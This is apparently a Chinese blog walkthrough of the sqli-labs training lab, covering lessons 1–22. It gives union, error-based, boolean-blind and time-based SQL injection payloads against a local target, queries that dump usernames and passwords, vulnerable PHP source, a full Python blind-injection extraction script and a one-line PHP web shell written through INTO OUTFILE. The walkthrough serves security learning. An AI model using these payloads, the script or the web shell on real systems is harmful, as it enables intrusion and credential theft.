Sqli-Labs注入靶機實戰演練

Sqli-Labs注入靶機實戰演練

來自專欄白帽筆記7 人贊了文章

0x01 概括介紹

SQLI-LABS是集成了多種SQL注入類型的漏洞測試環境,可以用來學習不同類型的SQL注入。

1、Error Based Sql Injections - Union select type.

2、Error Based Sql Injections - Double Query type.

3、Boolian Based Blind Injections.

4、Time Based Blind Injections.

5、Dumping the DB using outfile / Dumpfile.

6、POST based Sql injections Error based type - union select.

7、POST based Sql injections - Double injection type.

8、POST based Blind injections -Boolian / Time based.

9、Injection in the UPDATE query.

10、Injection in the Headers.

11、Injection in cookies.

0x02 環境搭建

下載phpstudy

下載sqli-labs

將下載好的sqli-labs解壓放入phpstudy的www目錄下

修改sql-connections/db-creds.inc文件當中的mysql賬號密碼

重啟資料庫

訪問http://127.0.0.1/sqlilabs/,在最下方即可看見題目地址

0x03 資料庫基礎知識

select * from table_name limit m,n;表示從m+1開始取n條查詢記錄

desc 表名(查看錶的結構)

0x04 SQL注入一般流程

猜資料庫名

猜表名

猜列名

猜某個欄位的內容

Mysql函數

系統常用函數

user()——資料庫用戶名

database()——資料庫名

version()——MySQL版本

@@datadir——資料庫路徑

@@version_compile_os——操作系統版本

連接字元串函數

concat(str1,str2,str3),返回str1+str2+str3;當有一個字元串為NULL時,即返回NULL

例如select concat(id,』,』,name) as con from info limit 1;

concat_ws(separator,str1,str2,str3),返回str1+separator+str2+separator+str3

例如select concat_ws(』,』,id,name) as con from info limit 1;

group_concat(str1,str2,str3),返回str1+str2+str3;

0x05 靶機實戰

Lession 1

第一節:GET – 基於錯誤 – 單引號 – 字元型

通過觀察發現,可以遍歷id的值來獲取用戶名和密碼

判斷報錯類型

判斷欄位

說明欄位為3

判斷顯示位(2,3處為顯示位)

使用union語句查詢時,必須使前面的語句查詢出錯(例如id=-1,而id中並沒有為-1的),以為當查詢出錯時,sql語句結果為空,也就會顯示我們構造的sql語句所查詢的內容,即union之後語句的執行結果。

爆資料庫名(將顯示位替換成mysql函數)

爆表名(資料庫security下的所有表名)

http://127.0.0.1/sqlilabs/Less-1?id=-5 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema="security"--+

爆列名(表users下的所有列名)

http://127.0.0.1/sqlilabs/Less-1?id=-5 union select 1,version(),group_concat(column_name) from information_schema.columns where table_name="users"--+

爆出欄位值(security.users下所有的賬號密碼)

http://127.0.0.1/sqlilabs/Less-1?id=-5 union select 1,version(),group_concat(username,:,password) from security.users--+

源碼:

<?phpinclude("../sql-connections/sql-connect.php");error_reporting(0);if(isset($_GET[id])){$id=$_GET[id];$fp=fopen(result.txt,a);fwrite($fp,ID:.$id."
");fclose($fp);$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size=5 color= #99FF00>";echo Your Login name:. $row[username];echo "<br>";echo Your Password: .$row[password];echo "</font>";}else{echo <font color= "#FFFF00">;print_r(mysql_error());echo "</font>";}}else { echo "Please input the ID as parameter with numeric value";}?>

Lession 2

第二課: GET – 基於錯誤 – 數字型

報錯信息如下

可以看到報錯信息是』 LIMIT 0,1說明後台語句可能查詢語句為SELECT * FROM users WHERE id=$id LIMIT 0,1,對用戶的輸入沒有經過任何處理,直接帶入資料庫查詢。

所以payload如下

爆表名

id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

爆列名

id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"

爆數據

id=-1 union select 1,2,group_concat(username,:,password) from security.users

<?phpinclude("../sql-connections/sql-connect.php");error_reporting(0);if(isset($_GET[id])){$id=$_GET[id];$fp=fopen(result.txt,a);fwrite($fp,ID:.$id."
");fclose($fp);$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size=5 color= #99FF00>";echo Your Login name:. $row[username];echo "<br>";echo Your Password: .$row[password];echo "</font>";}else{echo <font color= "#FFFF00">;print_r(mysql_error());echo "</font>";}}else{echo "Please input the ID as parameter with numeric value";}?>

Lession 3

第三課:基於錯誤-單引號變形-字元型

報錯信息如下

報錯信息』1』』) LIMIT 0,1表明開發者可能使用的SQL查詢語句為SELECT * FROM users WHERE id=(『$id』) LIMIT 0,1

爆表名

id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+

爆列名

http://127.0.0.1/sqlilabs/Less-3/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

爆數據

http://127.0.0.1/sqlilabs/Less-3/?id=-1) union select 1,2,group_concat(username,:,password) from security.users--+

<?phpinclude("../sql-connections/sql-connect.php");error_reporting(0);if(isset($_GET[id])){$id=$_GET[id];$fp=fopen(result.txt,a);fwrite($fp,ID:.$id."
");fclose($fp);$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size=5 color= #99FF00>";echo Your Login name:. $row[username];echo "<br>";echo Your Password: .$row[password];echo "</font>";}else{echo <font color= "#FFFF00">;print_r(mysql_error());echo "</font>";}}else { echo "Please input the ID as parameter with numeric value";}?>

Lession 4

第四課:基於錯誤-雙引號-字元型

報錯信息如下

報錯信息」1」」) LIMIT 0,1表明開發者可能使用的SQL查詢語句為SELECT * FROM users WHERE id=(「$id」) LIMIT 0,1

爆表名

id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+

爆列名

http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

爆數據

http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,group_concat(username,:,password) from security.users--+

資料庫中的信息

<?phpinclude("../sql-connections/sql-connect.php");error_reporting(0);if(isset($_GET[id])){$id=$_GET[id];$fp=fopen(result.txt,a);fwrite($fp,ID:.$id."
");fclose($fp);$id = " . $id . ";$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size=5 color= #99FF00>";echo Your Login name:. $row[username];echo "<br>";echo Your Password: .$row[password];echo "</font>";}else{echo <font color= "#FFFF00">;print_r(mysql_error());echo "</font>";}}else { echo "Please input the ID as parameter with numeric value";}?>

Lession 5

第五課:不用注釋來查詢

如果所查詢的用戶id在資料庫中,可以發現頁面顯示」You are in」,而不像前4關那樣會顯示出具體的賬號密碼。

如果sql語句查詢結果不存在,則不會顯示」You are in」

這種類型的SQL注入屬於盲注型,使用id=1』觀察報錯信息,如下圖

可以看到報錯信息是』』1』』 LIMIT 0,1』,也就是說後台代碼可能是這樣寫的: SELECT * FROM users WHERE id=』$id』 LIMIT 0,1 ,

下面,我們進行手工盲注測試,需要用到substr()、length()、ascii()、left()、count()這些sql資料庫函數

首先,我們要獲取當前資料庫名的長度,用於之後的資料庫名猜解

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and (length(database())=1)–+

下面的數字你可以從1開始遞增,發現在 length(database())=8的時候,頁面返回了正確信息,這說明當前資料庫名長度為8接下來就要對資料庫名的每個字元進行猜解

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and (left(database(),1)=』s』)–+

left(database(),1)=』s』表示資料庫名從左往右取一個字元,判斷該字元是否等於s

left(database(),2)=』se』表示資料庫名從左往右取兩個個字元,判斷該字元是否等於se

這裡的s和se並不是固定的,你可以嘗試ASCII表中的每個字元

寫成腳本跑一下,效果圖如下

下面要查詢security資料庫下的表的個數

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and 1=(select count(table_name) from information_schema.tables where table_schema=』security』)–+

將等號左邊的1進行遞增即可判斷出security資料庫下表的個數

然後就是判斷每個表名的長度

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select table_name from information_schema.tables where table_schema=」security」 limit 0,1),1,1))–+

使用上面這個payload,如果頁面返回」You are in」,則表示第一張表的長度至少為1,同樣的,我們可以對limit num,1),num,1))num部分進行遞增判斷,如果進行到limit 0,1),7,1))時頁面返回空,則說明第一張表的長度為7-1=6

判斷出表名長度後,就要對錶名進行猜解

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select table_name from information_schema.tables where table_schema=」security」 limit 0,1),1,1))=1–+

這裡其實跟上面的猜解資料庫名原理是一樣的,將等號右邊的1進行遞增判斷,如果頁面返回」You are in」,則表示第一張表的第一個字元的ASCII碼為1,在參考ASCII碼找到對應的字元就可以了。

用腳本跑一下

接下來就要猜解每個表裡的列的個數、列名以及列名長度,列名猜解,和上面原理都差不多,這裡不再贅述,直接給出payload(以users表為例子)。

猜解列的個數

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and %d=(select count(column_name) from information_schema.columns where table_name=』users』)–+

猜解列名長度

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select column_name from information_schema.columns where table_name=」users」 limit 0,1),1,1))–+

猜解列名

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select column_name from information_schema.columns where table_name=」users」 limit 0,1),1,1))=97–+

程序運行效果圖

最後就是要猜解每個列裡面的具體欄位的長度以及值了(這裡以猜解username為例)

判斷欄位長度

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and 1=(select count(username) from security.users)–+

判斷欄位長度

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select username from security.users limit 0,1),1,1))–+

判斷欄位值

http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select username from security.users limit 0,1),1,1))=95–+

程序運行效果圖

最後給出完整的python代碼(python3)

# coding=gbkimport requestsurl = http://192.168.1.158/sqlilabs/Less-5/?id=1db_length = 0db_name = table_num = 0table_len = 0table_name = table_list = []column_num = 0column_len = 0column_name = column_list = []dump_num = 0dump_len = 0dump_name = dump_list = []i = j = k = 0### 當前資料庫名長度 ###for i in range(1,20):db_payload = and (length(database())=%d)--+ %i# print(url+db_payload)r = requests.get(url+db_payload)if "You are in" in r.text:db_length = iprint(當前資料庫名長度為:%d % db_length)break### 當前資料庫名 ###print(開始猜解資料庫名......)for i in range(1,db_length+1):for j in range(95,123):db_payload = and (left(database(),%d)=%s)--+ % (i,db_name+chr(j))r = requests.get(url+db_payload)if "You are in" in r.text:db_name += chr(j)# print(db_name)breakprint(資料庫名:
[+],db_name)
### 當前資料庫表的數目 ###for i in range(100):db_payload = and %d=(select count(table_name) from information_schema.tables where table_schema=%s)--+ % (i,db_name)r = requests.get(url+db_payload)# print(url+db_payload)if "You are in" in r.text:table_num = ibreakprint(一共有%d張表 % table_num)print(開始猜解表名......)### 每張表的表名長度及表名 ###for i in range(table_num):table_len = 0table_name = #### 表名長度 ####for j in range(1,21):db_payload = and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit %d,1),%d,1))--+ % (i,j)r = requests.get(url+db_payload)# print(db_payload)if "You are in" not in r.text:table_len = j-1#### 猜解表名 ####for k in range(1,table_len+1):for l in range(95,123):db_payload = and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d--+ % (i,k,l)# print(db_payload)r = requests.get(url+db_payload)# print(db_payload)if "You are in" in r.text:table_name += chr(l)print(table_name)table_list.append(table_name)breakprint(表名:,table_list)### 每個表的列的數目、列名及列名長度 ###for i in table_list:#### 每個表的列的數目 ####for j in range(100):db_payload = and %d=(select count(column_name) from information_schema.columns where table_name=%s)--+ % (j, i)r = requests.get(url + db_payload)if "You are in" in r.text:column_num = jprint(("[+] 表名:%-10s " % i) + str(column_num) + 欄位)break#### 猜解列名長度 ####column_num = 3print(%s表中的列名: % table_list[-1])for j in range(3):column_name = for k in range(1,21):db_payload = and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))--+ % (table_list[-1],j,k)r = requests.get(url+db_payload)if "You are in" not in r.text:column_len = k-1# print(column_len)break#### 猜解列名 ####for l in range(95,123):db_payload = and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))=%d--+ % (table_list[-1],j,k,l)r = requests.get(url + db_payload)if "You are in" in r.text:column_name += chr(l)print([+] ,column_name)column_list.append(column_name)print(開始爆破以下欄位:,column_list[1:])for column in column_list[1:]:print(column,:)dump_num = 0for i in range(30):db_payload = and %d=(select count(%s) from %s.%s)--+ % (i,column,db_name,table_list[-1])# print(db_payload)r = requests.get(url+db_payload)if "You are in" in r.text:dump_num = i# print(i)breakfor i in range(dump_num):dump_len = 0dump_name = #### 欄位長度 ####for j in range(1, 21):db_payload = and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+ % (column,db_name,table_list[-1],i,j)r = requests.get(url + db_payload)if "You are in" not in r.text:dump_len = j-1for k in range(1, dump_len + 1):for l in range(1,256):db_payload = and ascii(substr((select %s from %s.%s limit %d,1),%d,1))=%d--+ % (column,db_name,table_list[-1],i,k,l)# print(db_payload)r = requests.get(url+db_payload)if "You are in" in r.text:dump_name += chr(l)# print(dump_name)breakbreakprint([+],dump_name)

Lession 6

第六課:雙注入-雙引號

至於第六關,看一下報錯信息應該能猜出後台SQL查詢語句為SELECT * FROM users WHERE id=」$id」 LIMIT 0,1

所以直接將第五關寫的代碼修改一下,把代碼中payload部分的』(單引號)改成」(雙引號)即可

Lession-7

這次練習的靶場是sqli-labs第7關,練習mysql的文件寫入。我們的目的是將一句話木馬寫入到網站的Less-7目錄下,先來看一下該目錄的初始狀態

執行SQL寫文件操作

http://127.0.0.1/sqlilabs/Less-7/?id=1)) union select 1,2,"<?php @eval($_POST[cmd]); ?>" into outfile "c:/phpstudy/www/sqli-labs/Less-7/shell.php"--+

Lession-8

第8關是基於布爾型盲注,如果SQL語句查詢成功,則會返回」You are in」;否則返回空。關於這個盲注,我之前已經寫過分析文章,可以參考:sqli-lab5(盲注)

Lession-9

第9關是基於時間型盲注,在這一關中,不管SQL語句是否查詢成功,都會返回」You are in」,這時候就需要使用到延時盲注了。

在開始之前,我們需要先了解以下mysql中if語句的用法

IF表達式

IF(expr1,expr2,expr3)

如果 expr1 是TRUE,則 IF()的返回值為expr2; 否則返回值則為 expr3。IF() 的返回值為數字值或字元串值,具體情況視其所在語境而定。

IF ELSE 做為流程式控制制語句使用

if實現條件判斷,滿足不同條件執行不同的操作,下面來看看mysql 存儲過程中的if是如何使用的

mysql實例 IF Else語句的例子

IFNULL(expr1,expr2)

如果expr1 不為 NULL,則 IFNULL() 的返回值為 expr1; 否則其返回值為 expr2。IFNULL()的返回值是數字或是字元串,具體情況取決於其所使用的語境。

在了解了這些基本知識之後,我們使用一下payload來sql注入

http://127.0.0.1/sqlilabs/Less-8/?id=1『 and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

所以我們可以根據伺服器給我們返回數據的時間,來判斷我們的SQL語句是否查詢成功,注入過程和之前的盲注是類似的,這裡不再贅述。

Lession-10

第10關只要把前面兩關payload部分的單引號改成雙引號即可。

參考文章

MySQL的if,case語句使用總結

Lession-11

這次練習的靶場是sqli-labs第7關,練習mysql的文件寫入。我們的目的是將一句話木馬

使用賬號admin』#密碼1發現可以成功登陸

猜一下欄位數,為2

執行mysql函數

這一關payload與第一關是一樣的,差別僅在於請求方式,所以這裡參考第一關注入即可。

Lession-12

與Lession-11一樣,只要把Lession-11中payload里的』(單引號)改成」)(雙引號加右括弧)即可

Lession-13、14

POST型雙查詢,登陸成功和登陸失敗的返回信息不會顯示出來,返回的圖片是不一樣的,但是圖片對於我們的SQL攻擊作用不大。所以我們可以使用雙查詢結合報錯來實現SQL注入攻擊,過程與第5關類似,可以參考這篇文章:Double SQL Injection(雙查詢注入)

Lession-15、16

POST型基於時間盲注,參考第9關

Lession-17

要想通過這關,我們需要先學習資料庫基本的增刪改查操作

Insert語句

Update語句

Delete語句

在了解了以上基本知識後,我們就可以開始這一關的注入了。首先,這一關的頁面提供了用戶修改密碼的功能

使用報錯注入

其餘過程和之前的關卡類似。

Lession-18、19、20

這幾關都屬於HTTP頭注入,第18關注入位置在User-Agent處,第19關注入位置在Referer處,第20關注入位置在Cookie處。開始之前,我們先來了解一些HTTP基礎。

Accept: 瀏覽器能夠處理的內容類型

Accept-Charset: 瀏覽器能夠顯示的字符集

Accept-Encoding:瀏覽器能夠處理的壓縮編碼。

Accept-Language: 瀏覽器當前設置的語言。

Connection:瀏覽器與伺服器之間連接的類型

Cookie:當前頁面設置的任何Cookie

Host:發出請求的頁面所在的域。

Referer:發出請求的頁面的URI。

User-Agent:瀏覽器的用戶代理字元串

Server: WEB 伺服器表明自己是什麼軟體及版本等信息。例如:Server:Apache/2.0.61 (Unix)

and extractvalue(1,concat(0x3c,(select @@version),0x3e)) and1=1

Lession-21、22

可以發現cookie部分經過了base64加密,我們把第20關的payload使用base64編碼後傳輸即可實現注入

第22關和21關一樣,只是sql語句中單引號和雙引號的區別

0x06 總結

完成sqli-labs1-22的關卡,可以使你快速了解常見的sql注入類型,這些關卡中的關鍵字通常沒有進行過濾,因此比較簡單,自己一定要對其中的某一關卡寫一個自動化攻擊腳本,因為這樣能讓你對SQL注入有更深的理解,所以不能偷懶。

參考文章;

mp.weixin.qq.com/s/1Uvo

freebuf.com/articles/we

freebuf.com/articles/we


推薦閱讀:

黑客是怎麼進行網路攻擊的?那位大神能講的通俗詳細一點?
DefCon China 2018 上有哪些值得關注的信息?
回收站清空後能通過修改註冊表來恢復嗎?
早期的中國黑客喜歡讀什麼書?那個時代的「教科書」或者"聖經"是什麼?
是不是被克隆電話卡了呢?如何解釋這件事情?

TAG:黑客Hacker | 網路安全 | 信息安全 |